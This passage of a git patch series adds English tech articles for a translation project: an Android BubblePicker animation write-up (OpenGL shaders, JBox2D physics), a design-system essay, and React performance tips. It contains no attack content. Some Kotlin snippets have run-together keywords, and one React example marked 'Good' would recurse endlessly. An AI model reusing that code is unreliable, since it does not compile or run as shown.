+
+- Attribute variables are different for each vertex
+
+- Varying variables are used to pass data from a vertex shader to a fragment shader, and their values are linearly interpolated for each fragment  
+
+The `u_Move` variable contains x and y values that should be added to the current position of the vertex. Obviously, these values should be equal for all vertices of the shape and the type of this variable is uniform, while the position of the vertices will differ. So the `a_Position` variable is an attribute variable. The` a_UV` variable is needed for two purposes:
+
+1. To find out the distance between the current fragment and the center of the square; depending on this distance, we can change the color of the fragment to draw a circle.
+
+2. To properly place the texture (the photo and the name of the country) in the center of a shape.
+
+![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2331/content_4.jpg)
+
+The `a_UV` variable contains x and y values that are different for each vertex and which lie between 0 and 1. In the vertex shader, we just pass the value of the `a_UV` variable to the `v_UV` variable, so the `v_UV` variable can be interpolated for every fragment. As a result, the `v_UV` variable for a fragment in the center of a shape will contain the value [0.5, 0.5]. To figure out the distance between the picked fragment and the center we use the distance() method. This method uses two points as a parameter.
+
+### **3. Using smoothstep to draw antialiased circles** ###
+
+Initially my fragment shader looked a bit different:
+
+```
+    gl_FragColor = distance < 0.5 ? texture2D(u_Text, v_UV) : u_BgColor;
+```    
+
+I changed the fragment color depending on the distance from the center without any antialiasing. And the result was not so impressive — the edges of the circles were notched.
+
+![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2332/content_6.jpg)
+
+So the smoothstep function was the solution. It smoothly interpolates from 0 to 1 based on distance compared to the start and end point of the transition between the texture and the background. Thus the alpha of the texture on the distance from 0 to 0.49 is 1, on the 0.5 and above it is 0, and between the 0.49 and 0.5 it is interpolated, so the edges of the circles would be antialiased.
+
+![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2333/content_7.jpg)
+
+### **4. Using textures to display images and text in OpenGL** ###
+
+Every circle in this animation has two states – normal and selected. In the normal state, the texture of a circle contains text and color; in the selected state, the texture also contains an image. So for every circle we needed to create two different textures. 
+
+To create the texture we use a Bitmap instance where we draw all the elements and bind the texture:
+
+```
+    fun bindTextures(textureIds: IntArray, index: Int){
+            texture = bindTexture(textureIds, index * 2, false)
+            imageTexture = bindTexture(textureIds, index * 2 + 1, true)
+        }
+    
+        private fun bindTexture(textureIds: IntArray, index: Int, withImage: Boolean): Int {
+            glGenTextures(1, textureIds, index)
+            createBitmap(withImage).toTexture(textureIds[index])
+            return textureIds[index]
+        }
+    
+        private fun createBitmap(withImage: Boolean): Bitmap {
+            var bitmap = Bitmap.createBitmap(bitmapSize.toInt(), bitmapSize.toInt(), Bitmap.Config.ARGB_4444)
+            val bitmapConfig: Bitmap.Config = bitmap.config ?: Bitmap.Config.ARGB_8888
+            bitmap = bitmap.copy(bitmapConfig, true)
+    
+            val canvas = Canvas(bitmap)
+    
+            if (withImage) drawImage(canvas)
+            drawBackground(canvas, withImage)
+            drawText(canvas)
+    
+            return bitmap
+        }
+    
+        private fun drawBackground(canvas: Canvas, withImage: Boolean){
+            ...
+        }
+    
+        private fun drawText(canvas: Canvas){
+            ...
+        }
+    
+        private fun drawImage(canvas: Canvas){
+            ...
+        }
+    
+```
+
+After doing this, we pass the texture unit to the `u_Text` variable. To get the actual color of a fragment we use the `texture2D()` method, which receives the texture unit and the position of the fragment respective to its vertices. 
+
+### **5. Using JBox2D to make the bubbles move** ###
+
+The animation is pretty simple in terms of the physics. The main object is a World instance, and all the bodies must be created using this world: 
+
+```
+    classCircleBody(world: World, varposition: Vec2, varradius: Float, varincreasedRadius: Float) {
+    
+        val decreasedRadius: Float = radius
+        val increasedDensity = 0.035f
+        val decreasedDensity = 0.045f
+        var isIncreasing = false
+        var isDecreasing = false
+        var physicalBody: Body
+        var increased = falseprivate val shape: CircleShape
+            get()= CircleShape().apply {
+                m_radius = radius + 0.01f
+                m_p.set(Vec2(0f, 0f))
+            }
+    
+        private val fixture: FixtureDef
+            get()= FixtureDef().apply {
+                this.shape = this@CircleBody.shape
+                density = if (radius > decreasedRadius) decreasedDensity else increasedDensity
+            }
+    
+        private val bodyDef: BodyDef
+            get()= BodyDef().apply {
+                type = BodyType.DYNAMIC
+                this.position = this@CircleBody.position
+            }
+    
+        init {
+            physicalBody = world.createBody(bodyDef)
+            physicalBody.createFixture(fixture)
+        }
+    
+    }
+```    
+
+As we can see, it’s easy to create the body: we simply need to specify the body type (e.g dynamic, static, kinematic), and its position, radius, shape, density, and fixture. 
+
+Every time the surface is being drawn, it’s necessary to call the `step()` method of the World instance to move all the bodies. After that we can draw all shapes at their new positions. 
+
+The issue we faced is that `JBox2D` doesn’t support orbital gravity. As a result, we couldn’t move the circles to the center of the screen. So we had to implement this feature ourselves:
+
+```
+    private val currentGravity: Float
+            get()= if (touch) increasedGravity else gravity
+    
+    private fun move(body: CircleBody){
+            body.physicalBody.apply {
+                val direction = gravityCenter.sub(position)
+                val distance = direction.length()
+                val gravity = if (body.increased) 1.3f * currentGravity else currentGravity
+                if(distance > step * 200){
+                    applyForce(direction.mul(gravity / distance.sqr()), position)
+                }
+            }
+    }
+```    
+
+![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2334/content_8.jpg)
+
+Every time the world moves, we calculate the appropriate force and apply it to each body, making it look like the circles are affected by a gravitation force. 
+
+### **6. Detecting user touch in GlSurfaceView** ###
+
+`GLSurfaceView`, like any other Android view, can react to a user’s touch:
+
+```
+    override fun onTouchEvent(event: MotionEvent): Boolean {
+            when (event.action) {
+                MotionEvent.ACTION_DOWN -> {
+                    startX = event.x
+                    startY = event.y
+                    previousX = event.x
+                    previousY = event.y
+                }
+                MotionEvent.ACTION_UP -> {
+                    if (isClick(event)) renderer.resize(event.x, event.y)
+                    renderer.release()
+                }
+                MotionEvent.ACTION_MOVE -> {
+                    if (isSwipe(event)) {
+                        renderer.swipe(event.x, event.y)
+                        previousX = event.x
+                        previousY = event.y
+                    } else {
+                        release()
+                    }
+                }
+                else -> release()
+            }
+    
+            returntrue
+    }
+    
+    private fun release()= postDelayed({ renderer.release() }, 1000)
+    
+    private fun isClick(event: MotionEvent)= Math.abs(event.x - startX) < 20 && Math.abs(event.y - startY) < 20private fun isSwipe(event: MotionEvent)= Math.abs(event.x - previousX) > 20 && Math.abs(event.y - previousY) > 20
+```
+
+The `GLSurfaceView` intercepts all touches and its renderer handles all of them:
+
+```
+    //Rendererfun swipe(x: Float, y: Float)= Engine.swipe(x.convert(glView.width, scaleX),
+                y.convert(glView.height, scaleY))
+    
+    fun release()= Engine.release()
+    
+    fun Float.convert(size: Int, scale: Float) = (2f * (this / size.toFloat()) - 1f) / scale
+    
+    //Enginefun swipe(x: Float, y: Float){
+            gravityCenter.set(x * 2, -y * 2)
+            touch = true
+    }
+    
+    fun release(){
+            gravityCenter.setZero()
+            touch = false
+    }
+```    
+
+When a user swipes the screen, we increase the gravity and change its center, so for the user it looks like they are controlling the movements of the bubbles. When the user stops swiping, we return the bubbles to their initial state. 
+
+### **7. Finding a bubble by the coordinates of a user’s touches** ###
+
+When a user clicks on a circle, we receive the touch position on the screen in the `onTouchEvent() `method. But we also need to find the clicked circle in OpenGL’s coordinate system. By default, the center of the `GLSurfaceView` has the position [0, 0], and the x and y values lie between -1 and 1. So we also have to consider the ratio of the screen:
+
+```
+    private fun getItem(position: Vec2)= position.let {
+            val x = it.x.convert(glView.width, scaleX)
+            val y = it.y.convert(glView.height, scaleY)
+            circles.find { Math.sqrt(((x - it.x).sqr() + (y - it.y).sqr()).toDouble()) <= it.radius }
+    }
+```   
+
+When we find the selected circle, we change its radius, density, and texture.
+
+This is the first version of our Bubble Picker, and we surely plan to develop it further. We'd like to give other developers the possibility to customize the physical behavior of bubbles and specify urls to add images to the animation. We also want to add some new features such as the ability to remove bubbles.
+
+Don’t hesitate to send us your experiments, we are curious to see how you use our Bubble Picker. And do let us know if you have any questions or suggestion regarding the animation.
+
+We are going to publish more awesome things soon. Stay tuned!
+
+Check out our [BubblePicker animation on GitHub](https://github.com/igalata/Bubble-Picker) and [BubblePicker on Dribbble](https://dribbble.com/shots/3349372-Bubble-Picker-Open-Source-Component).
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 76ed635a3c05b60eec04a91b695a172f841a12c0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 4 May 2017 21:55:43 +0800
Subject: [PATCH 338/638] Update
 how-we-created-bubblepicker-a-colourful-animation-for-android.md

---
 ...we-created-bubblepicker-a-colourful-animation-for-android.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
index e5b7881276c..5727f9a4790 100644
--- a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
+++ b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
@@ -1,5 +1,5 @@
 > * 原文地址：[How We Created BubblePicker – a Colorful Menu Animation for Android](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/)
-> * 原文作者：[Irina Galata](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/) [Yuliya Serbenenko](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/)
+> * 原文作者：[Irina Galata](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/), [Yuliya Serbenenko](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：
 > * 校对者：

From 25c526bcdf6aebea2620bf5524bd5d393418254b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 4 May 2017 22:08:04 +0800
Subject: [PATCH 339/638] Create
 designing-design-system-for-complex-products.md

---
 ...ning-design-system-for-complex-products.md | 182 ++++++++++++++++++
 1 file changed, 182 insertions(+)
 create mode 100644 TODO/designing-design-system-for-complex-products.md

diff --git a/TODO/designing-design-system-for-complex-products.md b/TODO/designing-design-system-for-complex-products.md
new file mode 100644
index 00000000000..39bc807885c
--- /dev/null
+++ b/TODO/designing-design-system-for-complex-products.md
@@ -0,0 +1,182 @@
+> * 原文地址：[Designing Design System for Complex Products](https://uxdesign.cc/designing-design-system-for-complex-products-5ff2d3051fa1)
+> * 原文作者：[Wen Wang](https://uxdesign.cc/@wenwang)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Designing Design System for Complex Products #
+
+## Benefits of design system and how to build it ##
+
+![](https://cdn-images-1.medium.com/max/2000/1*Foh-OxZWLDg_WjojpavgaA.png)
+
+Bypass design system concept
+
+In my last article *“[*How to get a head start on design system*](https://medium.com/@wenwang/how-to-get-a-head-start-on-design-system-8a217676c1f9#.v42j4b53c)”,* I talked about how to start building a simple style guide when you lack resources. Today I’ll share more knowledge about the process of building a design system for complex products (such as SaaS web applications). And I’ll share some helpful resources in the end as well.
+
+### Why did we start ###
+
+Back in early 2014, when I just joined Bypass, because our products were very complicated, there were tons of inconsistency across the board. There were different buttons, different inputs, different layouts of the same element, and different interactions for the same flows. We wasted a lot of time debating design details, just because there were no solid rules for our product. These inconsistencies also brought bad experience to our users: they caused confusion and made it harder to understand and learn the system.
+
+On the development side, because of the variety in code library, it was hard to find the “correct code”. Sometimes developers just wrote new codes instead of reusing the old ones, which led to even more inconsistency. It was a vicious circle, and with our team growing over time, communication and product delivery got harder.
+
+### Problems we had ###
+
+**1.50 shades of grey:** Since our products were very complex, it was always hard to keep consistency. There were many UI inconsistencies across the system, including different colors, fonts, font sizes, etc.
+
+**2.Lack of rules:** When our designers were building a new feature, it was easy for us to get bogged down with the details. Even simple questions like “Which component should I use?” and “Should I guide users to a new page, or use a pop-up dialog instead?” became very time-consuming to decide on.
+
+**3.Poor quality of delivery:** Because of the lack of design rules, it was very hard for different teams to communicate with each other. I used to put lots of “red lines” with detailed descriptions on my design, to provide as many details as possible to the developers. But it was not an efficient way to hand off, and sometimes developers did not follow all the details I put on my design.
+
+Imagine that your team launched a new project and people were celebrating, but you noticed a bunch of design bugs. You must be as happy as everyone else was, no?
+
+![](https://cdn-images-1.medium.com/max/800/1*jSQ79eaoZwXK1PfAneOoSw.gif)
+
+The happy you
+
+**4.Inconsistent code library:** Because there was no rule, developers sometimes just grabbed what they found in the code base and implemented it in new projects. Some other times, they came up with completely new components with a different style, and this further complicated the code library.
+
+**5. User confusion:** Our users needed a logic path to study the product and build a mental model about it. However, the inconsistencies we had made them confused and frustrated when they could not get their expected feedback.
+
+### How to build a design system ###
+
+#### 1.Start with the style guide ###
+
+A style guide is the infrastructure of the design system, to know more details about it, you can refer to my previous article “*[*How to get a head start on design system*](https://medium.com/@wenwang/how-to-get-a-head-start-on-design-system-8a217676c1f9#.tf4xqdc8e)*.”
+
+#### *Optional: build a live library ###
+
+![](https://cdn-images-1.medium.com/max/800/1*Yiyf4mk5mkfcqPWrgYi_VQ.png)
+
+Lightning design system
+
+If you have a front-end buddy or you can code yourself, a live library can make everyone’s life easier. It’s an efficient tool for front-end developers to keep consistency, avoid mistakes and speed up the development process. [Lightning design system](https://www.lightningdesignsystem.com/) and [Angular material](https://material.angularjs.org/latest/) are good examples for live library
+
+Find your **front-end buddy** who cares about design details. Then talk about the components in style guides with him/her, and find the best way to build them. Listen to your buddy, because sometimes your front-end buddy will have amazing ideas that you have never thought about. Then document the codes for each component, and make sure that developers can easily understand and reuse them.
+
+![](https://cdn-images-1.medium.com/max/800/1*PMfV38WM5jb3GXHoI_WrSQ.gif)
+
+Finding the developer who cares about CSS #uxreactions via [@uxreactions](http://twitter.com/uxreactions)
+
+#### 2.From style guide to design system ####
+
+![](https://cdn-images-1.medium.com/max/800/1*NNNOKwfGHTy_AenCXzLLEA.png)
+
+iOS design guidelines
+
+During the process of building the style guide, you also gain more knowledge about the product. After the style guide is done, you can move on to include guidelines, principles, rules, and of course.
+
+You can document very detailed rules. For example, you can have a section on “*How to delete an object*”, and the intro would be* “Edit object, trigger edit panel, delete object, pops up confirmation dialog, confirm to delete the object, back to index with “Object deleted.” toast.”*
+
+![](https://cdn-images-1.medium.com/max/800/1*bj_72i4q0C_126MFFsAm6Q.png)
+
+You can also add “don’t” and “do” examples for each design pattern. It will help people get clear idea about how to reuse these components. And you can also describe in which situation, with what conditions, designers should use which design pattern.
+
+
+### Benefits of having a design system ###
+
+#### Efficient tool for product people ####
+
+Design system is a recipe that helps designers to run the “kitchen” smoothly. Buy using the same recipe, designers can keep offering quality “dishes” to customers. Designers can find what ingredients they have in the library, as well as when and where to use them. And it’s also a very good hand-off tool that can keep everyone on the same page.
+
+#### Efficient tool for developers ####
+
+A live library that has all global components can speed up the development process. It can allow developers to copy and paste codes, and help them to work easily, quickly and reduce bugs. Each developer can also contribute to the library to make it become an “evolving system”.
+
+#### **Smooth hand-off tool** ####
+
+As the company grows, cooperation and hand-off work become harder and harder. With the design system, hand-off becomes easily and smoothly. There are three groups of people who can take advantage of it.
+
+**For QA people,** they know what to test, and whether the delivery matches with design rules. **For designers,** there’s no more debating about global interactions. Also, designers can work on other designers’ design file without any confusion. **For developers,** they can understand design files clearly, and build them out in a proper way.
+
+#### Quality delivery, consistent UI & expectation ####
+
+Thanks to the consistent components and design rules, we get high quality outcomes across the board. For our users, it’s easier for them to learn and operate. Now they can study the system pretty easily and get their expected feedback every time.
+
+### Once design system is implemented ###
+
+Bringing a great design system to live is like this:
+
+![](https://cdn-images-1.medium.com/max/800/1*3g_2gFQcimSuR_pHRN_OdA.gif)
+
+**Redesigning a legacy application** #uxreactions via [@uxreactions](http://twitter.com/uxreactions)
+and everyone in your company is like this
+
+![](https://cdn-images-1.medium.com/max/800/1*stS5w9PQ4ibBRSsDVPyfDA.gif)
+
+### Style guides resources & tools ###
+
+The following is a list of resources I use to build our design system, and tools that very helpful for beginners.
+
+Thanks for @[Ignacio Giri](https://medium.com/@nacho?source=post_header_lockup)’s comments on my last article about style guide tools. Consider about different usages, I will include some powerful CMS tools as well. If you have any config & front-end knowledge, these tools can help you and your team build live library pretty easily.
+
+#### The CMS Tools ####
+
+**[1]**[**Github**](https://github.com/)
+
+Github is a developer friendly tool to manage live style guides. Here’s a very helpful article talk about how to manage style guides with Github: [*Managing style guides at Shyp*](https://medium.com/shyp-design/managing-style-guides-at-shyp-c217116c8126#.fbti8ol92)
+
+**[2]**[**Statamic**](https://statamic.com/)
+
+Statamic is a powerful tool that could be used by both designers and developers. Once you install and study the proper way to use it, you can build a live library quickly. It is also powerful for you and your team to do version control.
+
+**[3]**[**Cloudcannon**](http://cloudcannon.com/)
+
+If you are a designer who know how to work with HTML, JavaScript, CSS and any static content, Cloudcannon is the tool that can help you do things right. It’s kind of similar with the way you customize your personal website in Squarespace. And it’s powerful for agency designers who are in charge of tons of display websites at the same time.
+
+#### Tools without coding skills ####
+
+[1][**Craft**](https://www.invisionapp.com/craft)
+
+Craft is a Sketch plugin that can help designers cooperate via a cloud design library. Designers can cooperate to build style guides and components symbol library with it.
+
+[2][**frontify.com**](https://frontify.com/)
+
+Frontify is an online style guide documentation tool. It’s very friendly for beginners.
+
+[3][**Confluence**](https://www.atlassian.com/software/confluence)is a team documenting tool that usually be used to document everything about product, including design principles, rules, and etc.
+
+### Examples for design system ###
+
+#### [Material Design](https://material.io/guidelines/) ####
+
+It is the famous design guidelines that publicized by Google. It Includes introduction, style, motion, layout, components, patterns, growth &communications, usability and resources. It’s very helpful if you want to build your product in Google material style, or your team is using any material design frameworks.
+
+Material guidelines do not have a code library, but there are some third party resources that built base on Material design. Such as [Angular Material](https://material.angularjs.org/latest/), [Material Design Lite](https://getmdl.io/), [Material for Bootstrap](http://fezvrasta.github.io/bootstrap-material-design/) and [Material UI](http://www.material-ui.com/#/).
+
+#### [Lightning Design System](https://lightningdesignsystem.com/) ####
+
+Lightning design system is build for Salesforce SaaS product. It includes guidelines, components, design tokens, icons, and related resources. Designers can put component classes name on design deliveries, then developers can build the correct components easily.
+
+For example, if a designer says : “I want to apply a light shadow to this card.” Then the card shadow spec in sketch is like `0px 2px 2px 0px rgba(0,0,0,.16)`. And they can provide the class name as `$elevation-shadow-2`on design mockups, it can help developers to build the exact card that designers want.
+
+#### Other examples: ####
+
+[iOS human interface guidelines](https://developer.apple.com/ios/human-interface-guidelines/overview/design-principles/)
+
+[IBM Design Language](http://www.ibm.com/design/language/)
+
+[Styleguide.io](http://styleguides.io/) (you can find tons of examples on this website)
+
+[Style Guide Inspirations](https://medium.muz.li/style-guide-inspirations-dfb77c4bb13b#.kez5ifoif) by *Muzli*
+
+### Related articles ###
+
+[This is, without a doubt, the coolest Sketch technique you’ll see all day](https://medium.com/ux-power-tools/this-is-without-a-doubt-the-coolest-sketch-technique-youll-see-all-day-ddefa65ea959#.2b1ax4tjx)*by Jon Moore*
+
+[Managing Style Guides at Shyp](https://medium.com/shyp-design/managing-style-guides-at-shyp-c217116c8126#.kvncovr64)*by Micah Sivitz*
+
+[Building a visual language](http://airbnb.design/building-a-visual-language/)*by Airbnb design team*
+
+[How we keep our styleguide up-to-date across the GoCardless design team](https://medium.com/gocardless-design/design-style-guide-post-b48b546f928#.4z4aptcdx)*by Sam Wills*
+
+[Animation in Design Systems](https://24ways.org/2016/animation-in-design-systems/)*by Sarah Drasner*
+
+Thanks for reading!
+
+If you like my articles, you are more welcome to give me a ❤️ :)
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 24949e3765fa84be46cf268b149a1d55a2b661f3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 4 May 2017 22:18:53 +0800
Subject: [PATCH 340/638] Create react-at-light-speed.md

---
 TODO/react-at-light-speed.md | 329 +++++++++++++++++++++++++++++++++++
 1 file changed, 329 insertions(+)
 create mode 100644 TODO/react-at-light-speed.md

diff --git a/TODO/react-at-light-speed.md b/TODO/react-at-light-speed.md
new file mode 100644
index 00000000000..e68e11971f9
--- /dev/null
+++ b/TODO/react-at-light-speed.md
@@ -0,0 +1,329 @@
+> * 原文地址：[React at Light Speed](https://blog.vixlet.com/react-at-light-speed-78cd172a6411)
+> * 原文作者：[Jacob Beltran](https://blog.vixlet.com/@jacob_beltran)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# React at Light Speed #
+
+## Lessons in optimizing performance at Vixlet ##
+
+![](https://cdn-images-1.medium.com/max/1000/1*SJzLm3SW2IegLw0GzlaG-w.jpeg)
+
+Over the past year or so, the web team here at [Vixlet](http://www.vixlet.com) has embarked on an exciting journey of moving our entire web application to a React + Redux architecture. It has been a growing opportunity for our entire team and throughout this process, we have some challenges along the way.
+
+Since our web-app can have very large feed views consisting of hundreds if not thousands of media/text/video/link items, we spent considerable time looking for ways to get the most out of React’s performance. Here we will share some of the lessons we have learned along the way.
+
+**Disclaimer**: *The practices and methods described below have been found applicable to the performance needs of our specific application. However, as with all development advice, it’s important to take the needs of your application and team into account. React is pretty fast out of the box, so you may not need as finely-tuned performance as our use case. Nevertheless, we hope you find this post informative.*
+
+### Fundamentals ###
+
+![](https://cdn-images-1.medium.com/max/800/1*UOGdUM1V_rGUbxLS-eaWdQ.gif)
+
+Taking a first step into a larger world.
+
+#### The render() function ####
+
+As a general principle, do as little work as possible in the render function. If it is necessary to perform complex operations or calculations, perhaps consider moving them to a [memoized](https://en.wikipedia.org/wiki/Memoization) function so that duplicate results can be cached. See [Lodash.memoize](https://lodash.com/docs#memoize) for an out-of-the-box memoization function.
+
+Conversely, it is also important to avoid storing easily computable values in a component’s state. For example, if the props contain both a `firstName` and `lastName`, there is no need to include `fullName` in state, since it’s easy to derive from the provided props. If a value can be derived from props in a performant way, by using simple string concatenation, or basic arithmetic operations, there’s no reason for the derived value to be included in a component’s state.
+
+#### Prop Values and Reconciliation ####
+
+It is important to remember that React will trigger a re-render anytime a prop (or state) value is not equal to the previous value. This includes any changes within nested values if props or state includes an object or array. With this in mind, it is important to be mindful of situations where it’s possible to inadvertently cause a performance hit by creating new values for props or state each render cycle.
+
+**Example:** *Issues with function binding*
+
+```
+/*
+Passing an inline bound function (including ES6 arrow functions)
+directly into a prop value is essentially passing a new 
+function for each render of the parent component.
+*/
+render() {
+  return (
+    <div>
+      <a onClick={ () => this.doSomething() }>Bad</a>
+      <a onClick={ this.doSomething.bind( this ) }>Bad</a>
+    </div>
+  );
+}
+
+
+/*
+Instead handle function binding in the constructor and pass the
+already bound function as the prop value
+*/
+
+constructor( props ) {
+  this.doSomething = this.doSomething.bind( this );
+  //or
+  this.doSomething = (...args) => this.doSomething(...args);
+}
+render() {
+  return (
+    <div>
+      <a onClick={ this.doSomething }>Good</a>
+    </div>
+  );
+}
+```
+
+**Example:** *Object or Array literals*
+
+```
+/*
+Object literals or Array literals are functionally equivalent to calling
+Object.create() or new Array(). This means that if object literals or
+array literals are passed as prop values, React will consider these to be new
+values for each render.
+This is problematic mostly when dealing with Radium or inline styles.
+*/
+
+/* Bad */
+// New object literal for style each render
+render() {
+  return <div style={ { backgroundColor: 'red' } }/>
+}
+
+/* Good */
+// Declare outside of component
+const style = { backgroundColor: 'red' };
+
+render() {
+  return <div style={ style }/>
+}
+```
+
+**Example** *: Be careful of literals in fallback values*
+
+```
+/*
+Sometimes a fallback value or object may be created in the render function
+( or prop value ) to avoid undefined value errors. In these cases, it's best
+to define the fallbacks as a constant external to the component instead of
+creating a new literal.
+/*
+/* Bad */
+render() {
+  let thingys = [];
+  // If this.props.thingys is not defined a new array literal is created above.
+  if( this.props.thingys ) {
+    thingys = this.props.thingys;
+  }
+
+  return <ThingyHandler thingys={ thingys }/>
+}
+
+/* Bad */
+render() {
+  // This has functionally the same outcome as the above example.
+  return <ThingyHandler thingys={ this.props.thingys || [] }/>
+}
+
+/* Good */
+
+// Declare outside of component
+const NO_THINGYS = [];
+
+render() {
+  return <ThingyHandler thingys={ this.props.thingys || NO_THINGYS }/>
+}
+```
+
+#### Keeping Props (and State) as simple and minimal as possible ####
+
+Ideally, the only props passed to a component should be those directly needed by that component. Passing a large, complex object, or many individual props to a component only for the purpose of passing values to children will cause many unnecessary component renders (as well as add development complexity).
+
+Here at Vixlet, we use Redux as a state container, so in our case, it is most ideal to use the [connect()](https://github.com/reactjs/react-redux/blob/master/docs/api.md#connectmapstatetoprops-mapdispatchtoprops-mergeprops-options) function from the [react-redux](https://www.npmjs.com/package/react-redux) library at each level in the component hierarchy to only fetch the direct data needed from the store. The connect() function is highly performant and overhead of using it is very minimal.
+
+#### Component Methods ####
+
+Since component methods are created for each instance of a component, if possible, use either pure functions from a helper/util module or [static class methods](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes). This makes a noticeable difference especially in cases where there are a large number of a component being rendered in the app.
+
+### Advanced ###
+
+![](https://cdn-images-1.medium.com/max/800/1*9n2fdJB1gPYLFJAj5D5RqA.gif)
+
+From my point of view jank is evil!
+
+#### shouldComponentUpdate() ####
+
+React includes a lifecycle method [shouldComponentUpdate()](https://facebook.github.io/react/docs/react-component.html#shouldcomponentupdate). This method can be used to tell React whether a component should be re-rendered or not depending on the values of the current and next props/state.
+
+One problem with using this method however, is that the developer must be conscious of accounting for every condition in which a re-render must happen. This can get logically complex and in general, be a pain in the ass. You can use a custom `shouldComponentUpdate()` method if absolutely needed, but for many cases there is a better option...
+
+#### React.PureComponent ####
+
+Starting in React v15, the library includes a PureComponent class which can be used to build components. `React.PureComponent` basically implements it's own `shouldComponentUpdate()`method that performs a shallow compare between current and next props/state automatically. For more info on shallow comparison see this Stack Overflow:
+
+[http://stackoverflow.com/questions/36084515/how-does-shallow-compare-work-in-react](http://stackoverflow.com/questions/36084515/how-does-shallow-compare-work-in-react)
+
+In almost all cases, `React.PureComponent` is a better choice than `React.Component`. When creating new components, try building it as a pure component first and only if the component's functionality requires, use `React.Component`.
+
+More Info: [React.PureComponent](https://facebook.github.io/react/docs/react-api.html#react.purecomponent) in the official React Docs
+
+#### Component Performance Profiling (in Chrome) ####
+
+In the latest versions of Chrome, there is additional functionality built into the timeline tool that can display detailed information as to which React components are rendering and how long they take. To enable this functionality add `?react_perf` as a query string to the url that you want to test. The React rendering timeline data will be under the User Timing section.
+
+More Info: [Profiling Components with Chrome Timeline](https://facebook.github.io/react/docs/optimizing-performance.html#profiling-components-with-chrome-timeline) in the official React docs
+
+#### Useful Utility: [why-did-you-update](https://www.npmjs.com/package/why-did-you-update) ####
+
+This is a nifty NPM package that can monkey patch React to add console notifications when a component re-renders unnecessarily.
+
+**Note**: This module can be initialized with a filter to match the specific component you wish to profile, otherwise your console will be spammed beyond all recognition (SPUBAR?) and possibly your browser will hang/crash. See the [why-did-you-update docs](https://www.npmjs.com/package/why-did-you-update) for more usage details.
+
+### Common Performance Traps
+
+![](https://cdn-images-1.medium.com/max/800/1*GVteDSQnhXZCSui8JRp10A.gif)
+
+#### setTimeout() and setInterval() ####
+
+Use `setTimeout()` or `setInterval()` extremely carefully within a React component. There are almost always better alternatives such as 'resize' and 'scroll' events (note: see next section for caveats).
+
+If you do need to use `setTimeout()` or `setInterval()`, you must **obey the following two commandments**
+
+> Thou shalt not set extremely short time durations.
+
+Setting a short duration is most likely unneeded. Be cautions of anything less than 100ms. If shorter durations are really needed, perhaps use [window.requestAnimationFrame()](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame) instead.
+
+> Thou shalt keep a reference to these functions and cancel/clear them on unmount
+
+Both `setTimeout()` and `setInterval()` return an identifier for the delayed function that can be used to cancel the operation if needed. Since these functions are run at the global scope, they don't care if your component isn't there anymore, and this can lead to errors and/or death.
+
+**Note**: this is also true of `window.requestAnimationFrame()`
+
+The easiest solution to this problem is to use the [react-timeout](https://www.npmjs.com/package/react-timeout) NPM package which provides a higher-order component that can be used that will handle the stuff mentioned above automatically. It adds setTimeout/setInterval, etc functions to the wrapped component’s props. (*Special thanks to Vixlet developer* [*Carl Pillot*](https://twitter.com/@carlpillot) *for pointing this one out*)
+
+If you do not wish to import a dependency and would like to roll your own solution to this problem, something like the following would work well:
+
+```
+// How to propery cancel timeouts/intervals
+
+compnentDidMount() {
+ this._timeoutId = setTimeout( this.doFutureStuff, 1000 );
+ this._intervalId = setInterval( this.doStuffRepeatedly, 5000 );
+}
+componentWillUnmount() {
+ /*
+    ProTip: If the operation already completed, or the value is undefinded
+    these functions don't give a damn
+ */
+ clearTimeout( this._timeoutId );
